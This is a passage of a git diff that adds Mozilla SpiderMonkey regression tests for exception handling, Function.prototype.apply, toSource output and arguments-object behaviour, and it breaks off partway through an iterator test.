diff --git a/js/src/tests/non262/Exceptions/regress-58946.js b/js/src/tests/non262/Exceptions/regress-58946.js
new file mode 100644
index 0000000000..d869c4a126
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-58946.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-------------------------------------------------------------------------------------------------
+var BUGNUMBER = '58946';
+var stat = 'Testing a return statement inside a catch statement inside a function';
+
+test();
+
+function test() {
+ printBugNumber(BUGNUMBER);
+ printStatus (stat);
+
+ expect = 'PASS';
+
+ function f()
+ {
+ try
+ {
+ throw 'PASS';
+ }
+ catch(e)
+ {
+ return e;
+ }
+ }
+
+ actual = f();
+
+ reportCompare(expect, actual, stat);
+}
diff --git a/js/src/tests/non262/Exceptions/regress-95101.js b/js/src/tests/non262/Exceptions/regress-95101.js
new file mode 100644
index 0000000000..372fb09428
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-95101.js
@@ -0,0 +1,81 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 13 August 2001
+ *
+ * SUMMARY: Invoking an undefined function should produce a ReferenceError
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=95101
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 95101;
+var summary = 'Invoking an undefined function should produce a ReferenceError';
+var msgERR_REF_YES = 'ReferenceError';
+var msgERR_REF_NO = 'did NOT generate a ReferenceError';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+try
+{
+ xxxyyyzzz();
+}
+catch (e)
+{
+ status = 'Section 1 of test';
+ actual = e instanceof ReferenceError;
+ expect = true;
+ addThis();
+
+
+ /*
+ * This test is more literal, and may one day be invalid.
+ * Searching for literal string "ReferenceError" in e.toString()
+ */
+ status = 'Section 2 of test';
+ var match = e.toString().search(/ReferenceError/);
+ actual = (match > -1);
+ expect = true;
+ addThis();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = isReferenceError(actual);
+ expectedvalues[UBound] = isReferenceError(expect);
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+// converts a Boolean result into a textual result -
+function isReferenceError(bResult)
+{
+ return bResult? msgERR_REF_YES : msgERR_REF_NO;
+}
diff --git a/js/src/tests/non262/Exceptions/shell.js b/js/src/tests/non262/Exceptions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/shell.js
diff --git a/js/src/tests/non262/Function/10.1.6-01.js b/js/src/tests/non262/Function/10.1.6-01.js
new file mode 100644
index 0000000000..fbb98616e1
--- /dev/null
+++ b/js/src/tests/non262/Function/10.1.6-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 293782;
+var summary = 'Local variables should not be enumerable properties of the function';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ var x,y
+ }
+
+var p;
+actual = '';
+
+for (p in f)
+{
+ actual += p + ',';
+}
+expect = '';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/10.1.6.js b/js/src/tests/non262/Function/10.1.6.js
new file mode 100644
index 0000000000..504001cb1a
--- /dev/null
+++ b/js/src/tests/non262/Function/10.1.6.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 293782;
+var summary = 'Local variables can cause predefined function object properties to be undefined';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ var name=1;
+}
+
+expect = 'f';
+actual = f.name;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/10.2.1.1.6.js b/js/src/tests/non262/Function/10.2.1.1.6.js
new file mode 100644
index 0000000000..69613386cd
--- /dev/null
+++ b/js/src/tests/non262/Function/10.2.1.1.6.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function strictThis() { 'use strict'; return this; }
+
+/* Check that calls of flat closure slots get the right |this|. */
+function flat(g) {
+ function h() { return g(); }
+ return h;
+}
+assertEq(flat(strictThis)(), undefined);
+
+/* Check that calls up upvars get the right |this|. */
+function upvar(f) {
+ function h() {
+ return f();
+ }
+ return h();
+}
+assertEq(upvar(strictThis), undefined);
+
+/* Check that calls to with-object properties get an appropriate 'this'. */
+var obj = { f: strictThis };
+with (obj) {
+ /*
+ * The method won't compile anything containing a 'with', but it can
+ * compile 'g'.
+ */
+ function g() { return f(); }
+ assertEq(g(), obj);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/15.3.4.3-01.js b/js/src/tests/non262/Function/15.3.4.3-01.js
new file mode 100644
index 0000000000..955d773766
--- /dev/null
+++ b/js/src/tests/non262/Function/15.3.4.3-01.js
@@ -0,0 +1,245 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 562448;
+var summary = 'Function.prototype.apply should accept any arraylike arguments';
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectTypeError(fun, msg)
+{
+ try
+ {
+ fun();
+ assertEq(true, false, "should have thrown a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true, msg + "; instead threw " + e);
+ }
+}
+
+function fun() { }
+
+var global = this;
+
+
+/* Step 1. */
+var nonfuns = [null, 1, -1, 2.5, "[[Call]]", undefined, true, false, {}];
+for (var i = 0, sz = nonfuns.length; i < sz; i++)
+{
+ var f = function()
+ {
+ Function.prototype.apply.apply(nonfuns[i], [1, 2, 3]);
+ };
+ var msg =
+ "expected TypeError calling Function.prototype.apply with uncallable this";
+ expectTypeError(f, msg);
+}
+
+
+/* Step 2. */
+var thisObj = {};
+
+var currentThis, currentThisBox;
+function funLength()
+{
+ assertEq(arguments.length, 0, "should have been called with no arguments");
+ assertEq(this, currentThis, "wrong this");
+}
+function strictFunLength()
+{
+ "use strict";
+ assertEq(arguments.length, 0, "should have been called with no arguments");
+ assertEq(this, currentThis, "wrong this");
+}
+
+currentThis = global;
+funLength.apply();
+funLength.apply(undefined);
+funLength.apply(undefined, undefined);
+funLength.apply(undefined, null);
+
+currentThis = undefined;
+strictFunLength.apply();
+strictFunLength.apply(undefined);
+strictFunLength.apply(undefined, undefined);
+strictFunLength.apply(undefined, null);
+
+currentThis = null;
+strictFunLength.apply(null);
+strictFunLength.apply(null, undefined);
+strictFunLength.apply(null, null);
+
+currentThis = thisObj;
+funLength.apply(thisObj);
+funLength.apply(thisObj, null);
+funLength.apply(thisObj, undefined);
+strictFunLength.apply(thisObj);
+strictFunLength.apply(thisObj, null);
+strictFunLength.apply(thisObj, undefined);
+
+currentThis = 17;
+strictFunLength.apply(17);
+strictFunLength.apply(17, null);
+strictFunLength.apply(17, undefined);
+
+function funThisPrimitive()
+{
+ assertEq(arguments.length, 0, "should have been called with no arguments");
+ assertEq(this instanceof currentThisBox, true,
+ "this not instanceof " + currentThisBox);
+ assertEq(this.valueOf(), currentThis,
+ "wrong this valueOf()");
+}
+
+currentThis = 17;
+currentThisBox = Number;
+funThisPrimitive.apply(17);
+funThisPrimitive.apply(17, undefined);
+funThisPrimitive.apply(17, null);
+
+currentThis = "foopy";
+currentThisBox = String;
+funThisPrimitive.apply("foopy");
+funThisPrimitive.apply("foopy", undefined);
+funThisPrimitive.apply("foopy", null);
+
+currentThis = false;
+currentThisBox = Boolean;
+funThisPrimitive.apply(false);
+funThisPrimitive.apply(false, undefined);
+funThisPrimitive.apply(false, null);
+
+
+/* Step 3. */
+var nonobjs = [1, -1, 2.5, "[[Call]]", true, false];
+for (var i = 0, sz = nonobjs.length; i < sz; i++)
+{
+ var f = function() { fun.apply(thisObj, nonobjs[i]); };
+ var msg = "should have thrown a TypeError with non-object arguments";
+ expectTypeError(f, msg);
+}
+
+
+/* Step 4. */
+var args = { get length() { throw 42; } };
+try
+{
+ fun.apply(thisObj, args);
+}
+catch (e)
+{
+ assertEq(e, 42, "didn't throw result of [[Get]] on arguments object");
+}
+
+
+/*
+ * NB: There was an erratum removing the steps numbered 5 and 7 in the original
+ * version of ES5; see also the comments in js_fun_apply.
+ */
+
+/* Step 5. */
+var called = false;
+var argsObjectLength =
+ { length: { valueOf: function() { called = true; return 17; } } };
+
+fun.apply({}, argsObjectLength);
+assertEq(called, true, "should have been set in valueOf called via ToUint32");
+
+var upvar = "unset";
+var argsObjectPrimitiveLength =
+ {
+ length:
+ {
+ valueOf: function() { upvar = "valueOf"; return {}; },
+ toString: function()
+ {
+ upvar = upvar === "valueOf" ? "both" : "toString";
+ return 17;
+ }
+ }
+ };
+fun.apply({}, argsObjectPrimitiveLength);
+assertEq(upvar, "both", "didn't call all hooks properly");
+
+
+/* Step 6-9. */
+var seenThis, res, steps;
+var argsAccessors =
+ {
+ length: 4,
+ get 0() { steps.push("0"); return 1; },
+ get 1() { steps.push("1"); return 2; },
+ // make sure values shine through holes
+ get 3() { steps.push("3"); return 8; },
+ };
+
+Object.prototype[2] = 729;
+
+seenThis = "not seen";
+function argsAsArray()
+{
+ seenThis = this;
+ steps.push(Math.PI);
+ return Array.prototype.map.call(arguments, function(v) { return v; });
+}
+
+steps = [];
+res = argsAsArray.apply(thisObj, argsAccessors);
+assertEq(seenThis, thisObj, "saw wrong this");
+
+assertEq(steps.length, 4, "wrong steps: " + steps);
+assertEq(steps[0], "0", "bad step 0");
+assertEq(steps[1], "1", "bad step 1");
+assertEq(steps[2], "3", "bad step 3");
+assertEq(steps[3], Math.PI, "bad last step");
+
+assertEq(res.length, 4, "wrong return: " + res);
+assertEq(res[0], 1, "wrong ret[0]");
+assertEq(res[1], 2, "wrong ret[0]");
+assertEq(res[2], 729, "wrong ret[0]");
+assertEq(res[3], 8, "wrong ret[0]");
+
+seenThis = "not seen";
+function strictArgsAsArray()
+{
+ "use strict";
+ seenThis = this;
+ steps.push(NaN);
+ return Array.prototype.map.call(arguments, function(v) { return v; });
+}
+
+steps = [];
+res = strictArgsAsArray.apply(null, argsAccessors);
+assertEq(seenThis, null, "saw wrong this");
+
+assertEq(steps.length, 4, "wrong steps: " + steps);
+assertEq(steps[0], "0", "bad step 0");
+assertEq(steps[1], "1", "bad step 1");
+assertEq(steps[2], "3", "bad step 3");
+assertEq(steps[3], 0 / 0, "bad last step");
+
+assertEq(res.length, 4, "wrong return: " + res);
+assertEq(res[0], 1, "wrong ret[0]");
+assertEq(res[1], 2, "wrong ret[0]");
+assertEq(res[2], 729, "wrong ret[0]");
+assertEq(res[3], 8, "wrong ret[0]");
+
+strictArgsAsArray.apply(17, argsAccessors);
+assertEq(seenThis, 17, "saw wrong this");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/Function-arguments-gc.js b/js/src/tests/non262/Function/Function-arguments-gc.js
new file mode 100644
index 0000000000..2504523362
--- /dev/null
+++ b/js/src/tests/non262/Function/Function-arguments-gc.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Christian Holler <decoder@own-hero.net>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 623301;
+var summary = "Properly root argument names during Function()";
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+if (typeof gczeal === "function")
+ gczeal(2);
+
+function crashMe(n)
+{
+ var nasty = [];
+ while (n--)
+ nasty.push("a" + n);
+ return Function.apply(null, nasty);
+}
+
+var count = 64; // exact value not important
+assertEq(crashMe(count + 1).length, count);
+
+if (typeof gczeal === "function")
+ gczeal(0); // reset
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/Function-prototype.js b/js/src/tests/non262/Function/Function-prototype.js
new file mode 100644
index 0000000000..218b1d54ca
--- /dev/null
+++ b/js/src/tests/non262/Function/Function-prototype.js
@@ -0,0 +1,11 @@
+var desc = Object.getOwnPropertyDescriptor(Function.prototype, "length");
+assertDeepEq(desc,
+ {value: 0, writable: false, enumerable: false, configurable: true});
+
+assertEq(Function.prototype.prototype, undefined);
+assertEq(Function.prototype.callee, undefined);
+assertThrowsInstanceOf(() => Function.prototype.caller, TypeError);
+assertThrowsInstanceOf(() => Function.prototype.arguments, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/Function-with-eval.js b/js/src/tests/non262/Function/Function-with-eval.js
new file mode 100644
index 0000000000..981abf2d04
--- /dev/null
+++ b/js/src/tests/non262/Function/Function-with-eval.js
@@ -0,0 +1,25 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(new Function(
+ "eval('var foo = 915805');" +
+ "return foo;"
+ )(),
+ 915805);
+
+assertEq(new Function(
+ "eval('function foo() {" +
+ "return 915805;" +
+ "}');" +
+ "return foo;"
+ )()(),
+ 915805);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Function/Object-toSource.js b/js/src/tests/non262/Function/Object-toSource.js
new file mode 100644
index 0000000000..16b2346fbf
--- /dev/null
+++ b/js/src/tests/non262/Function/Object-toSource.js
@@ -0,0 +1,373 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+var BUGNUMBER = 1317400;
+var summary = "Function string representation in Object.prototype.toSource";
+
+print(BUGNUMBER + ": " + summary);
+
+// Methods.
+
+assertEq(({ foo(){} }).toSource(),
+ "({foo(){}})");
+assertEq(({ *foo(){} }).toSource(),
+ "({*foo(){}})");
+assertEq(({ async foo(){} }).toSource(),
+ "({async foo(){}})");
+
+assertEq(({ 1(){} }).toSource(),
+ "({1(){}})");
+
+// Methods with more spacing.
+// Spacing is kept.
+
+assertEq(({ foo (){} }).toSource(),
+ "({foo (){}})");
+assertEq(({ foo () {} }).toSource(),
+ "({foo () {}})");
+
+// Methods with computed name.
+// Method syntax is composed.
+
+let name = "foo";
+assertEq(({ [name](){} }).toSource(),
+ "({foo(){}})");
+assertEq(({ *[name](){} }).toSource(),
+ "({*foo(){}})");
+assertEq(({ async [name](){} }).toSource(),
+ "({async foo(){}})");
+
+assertEq(({ [ Symbol.iterator ](){} }).toSource(),
+ "({[Symbol.iterator](){}})");
+
+// Accessors.
+
+assertEq(({ get foo(){} }).toSource(),
+ "({get foo(){}})");
+assertEq(({ set foo(v){} }).toSource(),
+ "({set foo(v){}})");
+
+// Accessors with computed name.
+// Method syntax is composed.
+
+assertEq(({ get [name](){} }).toSource(),
+ "({get foo(){}})");
+assertEq(({ set [name](v){} }).toSource(),
+ "({set foo(v){}})");
+
+assertEq(({ get [ Symbol.iterator ](){} }).toSource(),
+ "({get [Symbol.iterator](){}})");
+assertEq(({ set [ Symbol.iterator ](v){} }).toSource(),
+ "({set [Symbol.iterator](v){}})");
+
+// Getter and setter with same name.
+// Getter always comes before setter.
+
+assertEq(({ get foo(){}, set foo(v){} }).toSource(),
+ "({get foo(){}, set foo(v){}})");
+assertEq(({ set foo(v){}, get foo(){} }).toSource(),
+ "({get foo(){}, set foo(v){}})");
+
+// Normal properties.
+
+assertEq(({ foo: function(){} }).toSource(),
+ "({foo:(function(){})})");
+assertEq(({ foo: function bar(){} }).toSource(),
+ "({foo:(function bar(){})})");
+assertEq(({ foo: function*(){} }).toSource(),
+ "({foo:(function*(){})})");
+assertEq(({ foo: async function(){} }).toSource(),
+ "({foo:(async function(){})})");
+
+// Normal properties with computed name.
+
+assertEq(({ [ Symbol.iterator ]: function(){} }).toSource(),
+ "({[Symbol.iterator]:(function(){})})");
+
+// Dynamically defined properties with function expression.
+// Never become a method syntax.
+
+let obj = {};
+obj.foo = function() {};
+assertEq(obj.toSource(),
+ "({foo:(function() {})})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: function() {}});
+assertEq(obj.toSource(),
+ "({})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({foo:(function() {})})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: function bar() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({foo:(function bar() {})})");
+
+obj = {};
+Object.defineProperty(obj, Symbol.iterator, {value: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({[Symbol.iterator]:(function() {})})");
+
+// Dynamically defined property with other object's method.
+// Method syntax is composed.
+
+let method = ({foo() {}}).foo;
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: method, enumerable: true});
+assertEq(obj.toSource(),
+ "({foo() {}})");
+
+obj = {};
+Object.defineProperty(obj, "bar", {value: method, enumerable: true});
+assertEq(obj.toSource(),
+ "({bar() {}})");
+
+method = ({*foo() {}}).foo;
+
+obj = {};
+Object.defineProperty(obj, "bar", {value: method, enumerable: true});
+assertEq(obj.toSource(),
+ "({*bar() {}})");
+
+method = ({async foo() {}}).foo;
+
+obj = {};
+Object.defineProperty(obj, "bar", {value: method, enumerable: true});
+assertEq(obj.toSource(),
+ "({async bar() {}})");
+
+// Dynamically defined accessors.
+// Accessor syntax is composed.
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+obj = {};
+Object.defineProperty(obj, Symbol.iterator, {get: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({get [Symbol.iterator]() {}})");
+
+obj = {};
+Object.defineProperty(obj, Symbol.iterator, {set: function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({set [Symbol.iterator]() {}})");
+
+// Dynamically defined accessors with other object's accessors.
+// Accessor syntax is composed.
+
+let accessor = Object.getOwnPropertyDescriptor({ get foo() {} }, "foo").get;
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ get bar() {} }, "bar").get;
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ set foo(v) {} }, "foo").set;
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo(v) {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ set bar(v) {} }, "bar").set;
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo(v) {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ get foo() {} }, "foo").get;
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ get bar() {} }, "bar").get;
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ set foo(v) {} }, "foo").set;
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo(v) {}})");
+
+accessor = Object.getOwnPropertyDescriptor({ set bar(v) {} }, "bar").set;
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo(v) {}})");
+
+// Methods with proxy.
+// Treated as normal property.
+
+method = ({foo() {}}).foo;
+let handler = {
+ get(that, name) {
+ if (name == "toSource") {
+ return function() {
+ return that.toSource();
+ };
+ }
+ return that[name];
+ }
+};
+let proxy = new Proxy(method, handler);
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: proxy, enumerable: true});
+assertEq(obj.toSource(),
+ "({foo:foo() {}})");
+
+// Accessors with proxy.
+// Accessor syntax is composed.
+
+accessor = Object.getOwnPropertyDescriptor({ get foo() {} }, "foo").get;
+proxy = new Proxy(accessor, handler);
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: proxy, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: proxy, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+// Methods from other global.
+// Treated as normal property in the cross-compartment case.
+
+let g = newGlobal();
+
+method = g.eval("({ foo() {} }).foo");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: method, enumerable: true});
+assertEq((obj.toSource() === "({foo:foo() {}})" ||
+ obj.toSource() === "({foo() {}})"),
+ true);
+
+// Accessors from other global.
+// Accessor syntax is composed.
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ get foo() {} }, 'foo').get");
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ get bar() {} }, 'bar').get");
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ set foo(v) {} }, 'foo').set");
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo(v) {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ set bar(v) {} }, 'bar').set");
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo(v) {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ get foo() {} }, 'foo').get");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ get bar() {} }, 'bar').get");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ set foo(v) {} }, 'foo').set");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo(v) {}})");
+
+accessor = g.eval("Object.getOwnPropertyDescriptor({ set bar(v) {} }, 'bar').set");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: accessor, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo(v) {}})");
+
+// **** Some weird cases ****
+
+// Accessors with generator or async.
+
+obj = {};
+Object.defineProperty(obj, "foo", {get: function*() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({get foo() {}})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {set: async function() {}, enumerable: true});
+assertEq(obj.toSource(),
+ "({set foo() {}})");
+
+// Modified toSource.
+
+obj = { foo() {} };
+obj.foo.toSource = () => "hello";
+assertEq(obj.toSource(),
+ "({hello})");
+
+obj = { foo() {} };
+obj.foo.toSource = () => "bar() {}";
+assertEq(obj.toSource(),
+ "({bar() {}})");
+
+// Modified toSource with different method name.
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: function bar() {}, enumerable: true});
+obj.foo.toSource = () => "hello";
+assertEq(obj.toSource(),
+ "({foo:hello})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: function* bar() {}, enumerable: true});
+obj.foo.toSource = () => "hello";
+assertEq(obj.toSource(),
+ "({foo:hello})");
+
+obj = {};
+Object.defineProperty(obj, "foo", {value: async function bar() {}, enumerable: true});
+obj.foo.toSource = () => "hello";
+assertEq(obj.toSource(),
+ "({foo:hello})");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/arguments-caller-callee.js b/js/src/tests/non262/Function/arguments-caller-callee.js
new file mode 100644
index 0000000000..57efd9eb91
--- /dev/null
+++ b/js/src/tests/non262/Function/arguments-caller-callee.js
@@ -0,0 +1,64 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'arguments-caller-callee.js';
+var BUGNUMBER = 514563;
+var summary = "arguments.caller and arguments.callee are poison pills in ES5, " +
+ "later changed in ES2017 to only poison pill arguments.callee.";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// behavior
+
+function expectTypeError(fun)
+{
+ try
+ {
+ fun();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "expected TypeError calling function" +
+ ("name" in fun ? " " + fun.name : "") + ", instead got: " + e);
+ }
+}
+
+function bar() { "use strict"; return arguments; }
+assertEq(bar().caller, undefined); // No error when accessing arguments.caller in ES2017+
+expectTypeError(function barCallee() { bar().callee; });
+
+function baz() { return arguments; }
+assertEq(baz().callee, baz);
+
+
+// accessor identity
+
+function strictMode() { "use strict"; return arguments; }
+var canonicalTTE = Object.getOwnPropertyDescriptor(strictMode(), "callee").get;
+
+var args = strictMode();
+
+var argsCaller = Object.getOwnPropertyDescriptor(args, "caller");
+assertEq(argsCaller, undefined);
+
+var argsCallee = Object.getOwnPropertyDescriptor(args, "callee");
+assertEq("get" in argsCallee, true);
+assertEq("set" in argsCallee, true);
+assertEq(argsCallee.get, canonicalTTE);
+assertEq(argsCallee.set, canonicalTTE);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/arguments-extra-property.js b/js/src/tests/non262/Function/arguments-extra-property.js
new file mode 100644
index 0000000000..017734382d
--- /dev/null
+++ b/js/src/tests/non262/Function/arguments-extra-property.js
@@ -0,0 +1,33 @@
+var BUGNUMBER = 1263811;
+var summary = "GetElem for modified arguments shouldn't be optimized to get original argument.";
+
+print(BUGNUMBER + ": " + summary);
+
+function testModifyFirst() {
+ function f() {
+ Object.defineProperty(arguments, 1, { value: 30 });
+ assertEq(arguments[1], 30);
+ }
+ for (let i = 0; i < 10; i++)
+ f(10, 20);
+}
+testModifyFirst();
+
+function testModifyLater() {
+ function f() {
+ var ans = 20;
+ for (let i = 0; i < 10; i++) {
+ if (i == 5) {
+ Object.defineProperty(arguments, 1, { value: 30 });
+ ans = 30;
+ }
+ assertEq(arguments[1], ans);
+ }
+ }
+ for (let i = 0; i < 10; i++)
+ f(10, 20);
+}
+testModifyLater();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Function/arguments-iterator.js b/js/src/tests/non262/Function/arguments-iterator.js
new file mode 100644
index 0000000000..5610b8a245
--- /dev/null
+++ b/js/src/tests/non262/Function/arguments-iterator.js
@@ -0,0 +1,167 @@
+var BUGNUMBER = 992617;
+var summary = "Implement arguments[@@iterator].";
+
+print(BUGNUMBER + ": " + summary);
+
+// MappedArgumentsObject
+let mapped = [
+ function(a, b, c) {
+ assertEq(Symbol.iterator in arguments, true);
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ arguments[Symbol.iterator] = 10;
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ Object.defineProperty(arguments, Symbol.iterator, {
+ value: 10, writable: true, enumerable: true, configurable: true
+ });
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ assertEq(arguments[Symbol.iterator], Array.prototype[Symbol.iterator]);
+ },
+ function(a, b, c) {
+ assertEq(arguments[Symbol.iterator].name, "values");
+ },
+ function(a, b, c) {
+ var desc = Object.getOwnPropertyDescriptor(arguments, Symbol.iterator);
+ assertEq("value" in desc, true);
